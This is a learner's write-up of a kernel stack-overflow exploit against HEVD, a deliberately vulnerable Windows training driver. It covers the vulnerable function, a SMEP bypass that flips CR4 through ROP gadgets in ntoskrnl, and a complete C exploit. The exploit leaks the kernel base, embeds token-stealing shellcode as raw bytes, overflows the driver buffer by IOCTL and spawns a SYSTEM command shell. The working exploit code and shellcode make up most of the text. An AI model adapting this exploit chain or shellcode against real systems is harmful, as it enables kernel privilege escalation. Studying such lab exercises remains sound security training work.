[HEVD Exploit Series] StackOverflow
Target Function
TriggerBufferOverflowStack
__int64 __fastcall TriggerBufferOverflowStack(void *Src, unsigned __int64 Size)
{
char Dst[2048]; // [rsp+20h] [rbp-818h] BYREF
memset(Dst, 0, sizeof(Dst));
ProbeForRead(Src, 0x800ui64, 1u);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", Src);
DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", Dst);
DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 0x800i64);
DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memmove(Dst, Src, Size);
return 0i64;
}
Mitigation: SMEP^[3]^
Definition
SMEP, i.e., Supervisor Mode Execution Protection, ensures that the application does not execute code in untrusted user-mode memory when running at a higher privilege level.
This mechanism is implemented via the 20th bit of control register^[2]^ CR4, with 1 indicating that it is enabled.
Bypass Method
Use a ROP chain to read the contents of CR4 and flip the 20th bit.
Note: Since the EnumDeviceDrivers function is called, the method in this post is only applicable to Medium integrity level and above^[4]^. Otherwise, alternative methods to obtain the kernel module base address must be considered.
To be added: Methods for obtaining the kernel module base address
Brief Exploitation Steps
- Determine the offset of the return address relative to the buffer:
- Use Metasploit tools to generate a cyclic pattern to locate the offset at the return address;
- Determine the offset directly via debugging.
- Use RP++ to search for gadgets in
ntoskrnl.exe:0x997224: pop rcx ; ret ; \x40\x59\xc3 (1 found) 0x9a41d9: mov cr4, rcx ; ret ; \x0f\x22\xe1\xc3 (1 found) - Use nasm + radare2 to generate the shellcode:
nasm shellcode.asm -o shellcode.bin -f bin radare2 -b 32 -c 'pc' ./shellcode.bin
Code
#include <Windows.h>
#include <stdio.h>
#include <Psapi.h>
#define DRIVER "\\\\.\\HacksysExtremeVulnerableDriver"
#define IOCTL_CODE 0x222003
ULONGLONG GetKernelBase(void) {
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
printf("[+] Obtaining Driver Base Address!\n");
BOOL DriversBase = EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
if (!DriversBase) {
printf("[!] FATAL: Error enumerating device drivers!\n");
exit(1);
}
char BaseName[1024] = { 0 };
BOOL DriversBaseName = GetDeviceDriverBaseNameA(lpImageBase[0], BaseName, sizeof(BaseName));
if (!DriversBaseName) {
printf("[!] FATAL: Error getting drivers base name!\n");
exit(1);
}
ULONGLONG KernelBase = (ULONGLONG)lpImageBase[0];
printf("[*] Driver base name is: %s\n", BaseName);
printf("[*] %s is located at: 0x%x\n", BaseName, KernelBase);
return KernelBase;
}
ULONGLONG CreateShellcode(void) {
/*
_start:
mov rax, [gs:0x188] ; Current thread (_KTHREAD)
mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
mov rbx, rax ; Copy current process (_EPROCESS) to rbx
__loop:
mov rbx, [rbx + 0x448] ; ActiveProcessLinks
sub rbx, 0x448 ; Go back to current process (_EPROCESS)
mov rcx, [rbx + 0x440] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM PID
jnz __loop ; Loop until SYSTEM PID is found
mov rcx, [rbx + 0x4b8] ; SYSTEM token is @ offset _EPROCESS + 0x4b8
and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
mov [rax + 0x4b8], rcx ; Copy SYSTEM token to current process
__cleanup:
mov rax, [gs:0x188] ; _KPCR.Prcb.CurrentThread
mov cx, [rax + 0x1e4] ; KTHREAD.KernelApcDisable
inc cx
mov [rax + 0x1e4], cx
mov rdx, [rax + 0x90] ; ETHREAD.TrapFrame
mov rcx, [rdx + 0x168] ; ETHREAD.TrapFrame.Rip
mov r11, [rdx + 0x178] ; ETHREAD.TrapFrame.EFlags
mov rsp, [rdx + 0x180] ; ETHREAD.TrapFrame.Rsp
mov rbp, [rdx + 0x158] ; ETHREAD.TrapFrame.Rbp
xor eax, eax ;
swapgs
o64 sysret
*/
char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
"\x48\x89\xC3\x48\x8B\x9B\x48\x04\x00\x00\x48\x81\xEB\x48\x04\x00"
"\x00\x48\x8B\x8B\x40\x04\x00\x00\x48\x83\xF9\x04\x75\xE5\x48\x8B"
"\x8B\xB8\x04\x00\x00\x80\xE1\xF0\x48\x89\x88\xB8\x04\x00\x00\x65"
"\x48\x8B\x04\x25\x88\x01\x00\x00\x66\x8B\x88\xE4\x01\x00\x00\x66"
"\xFF\xC1\x66\x89\x88\xE4\x01\x00\x00\x48\x8B\x90\x90\x00\x00\x00"
"\x48\x8B\x8A\x68\x01\x00\x00\x4C\x8B\x9A\x78\x01\x00\x00\x48\x8B"
"\xA2\x80\x01\x00\x00\x48\x8B\xAA\x58\x01\x00\x00\x31\xC0\x0F\x01"
"\xF8\x48\x0F\x07";
LPVOID shellcode = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!shellcode) {
printf("[-] FATAL: Unable to allocate shellcode!\n");
exit(1);
}
printf("[+] Shellcode allocated at: 0x%p\n", shellcode);
RtlMoveMemory(shellcode, payload, sizeof(payload));
ULONGLONG ShellcodeBase = (ULONGLONG)shellcode;
return ShellcodeBase;
}
void exploit() {
HANDLE DriverHandle;
DWORD OldProtect;
const size_t offset = 2072;
const size_t buffSize = 2072 + 4 * 8;
char buffer[buffSize] = { 0 };
ULONGLONG BaseAddress = GetKernelBase();
ULONGLONG shellcode = CreateShellcode();
ULONGLONG ROP1 = BaseAddress + 0x997224;
ULONGLONG ROP2 = 0x250EF8;
ULONGLONG ROP3 = BaseAddress + 0x9a41d9;
printf("[*] Preparing exploit buffer!\n");
memset(buffer, 0x41, sizeof(buffer));
printf("[+] Beginning ROP chain to disable SMEP!\n");
memcpy(&buffer[offset], &ROP1, 8);
memcpy(&buffer[offset + 8], &ROP2, 8);
memcpy(&buffer[offset + 16], &ROP3, 8);
printf("[+] SMEP should now be disabled!\n");
memcpy(&buffer[offset + 24], &shellcode, 8);
printf("[+] Executing shellcode!\n");
printf("[*] Opening handle to %s\n", DRIVER);
DriverHandle = CreateFileA(DRIVER, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (DriverHandle == INVALID_HANDLE_VALUE) {
printf("[!] FATAL: Could not open HEVD handle!\n");
return;
}
// The IoControlCode is obtained from HEVD.sys in IDA
if (!DeviceIoControl(DriverHandle, IOCTL_CODE, buffer, buffSize, NULL, 0, NULL, NULL)) {
printf("[!] FATAL: Error sending IOCTL to driver!\n");
return;
}
}
int main() {
printf("[+] HEVD: Stack Buffer Overflow!\n");
exploit();
system("cmd.exe /c cmd.exe /K cd C:\\");
printf("[*] 1337 System Shell Bozo");
return 0;
}
Key Takeaways
ProbeForRead| TheProbeForReadroutine checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned.- The
IoControlCodeparameter inDeviceIoControlis obtained from reversing the driver file. - The ROP gadget search tool RP++, and the method for generating hexadecimal shellcode.
- The privilege escalation technique in the shellcode and the final cleanup originate from Kristal’s^[5]^ trick. However, this cleanup method prevents the resulting command prompt window from closing, indicating that it still has some limitations.
Summary of Questions & Issues
- Since I was completely unfamiliar with how to trigger vulnerabilities, I wasn’t sure if a vulnerability actually existed. In fact, in this data copying operation, there is no check or constraint on the size of the source data. Furthermore, both
SrcandSizeare provided by the caller when invoking the driver function, meaning they are user-controlled. Therefore, a buffer overflow vulnerability indeed exists. Missing knowledge: How to interact with the Windows kernel -> C programming usingCreateFileAandDeviceIoControl. - Q:
Srcis a user-mode buffer, so why isDsta kernel-mode buffer? How are they distinguished? A: This is essentially the same question as above.SrcandSizeare provided by the caller from user-mode, making it a user-mode buffer.Dstis allocated/created by the driver itself, making it a kernel-mode buffer. - During programming, I encountered a few silly issues:
- The buffer size in the original code was set incorrectly, which I failed to notice. I spent ages debugging it while the system kept crashing;
- I looked at another analysis post^[6]^ where the code details differed. Even after correcting the buffer size, the system still crashed. Finally, I realized I had misunderstood the code…
The original author used the first method, passing the address of thememcpy(&buffer[offset + 24], (void*)shellcode, 8); *(rop + index++) = (QWORD)shellcode;shellcodevariable (i.e.&shellcode). At first, I thought it was a typo in the code. I eventually realized thatmemcpyneeds the address of the variable to copy the pointer value (i.e. the shellcode address itself) into the buffer.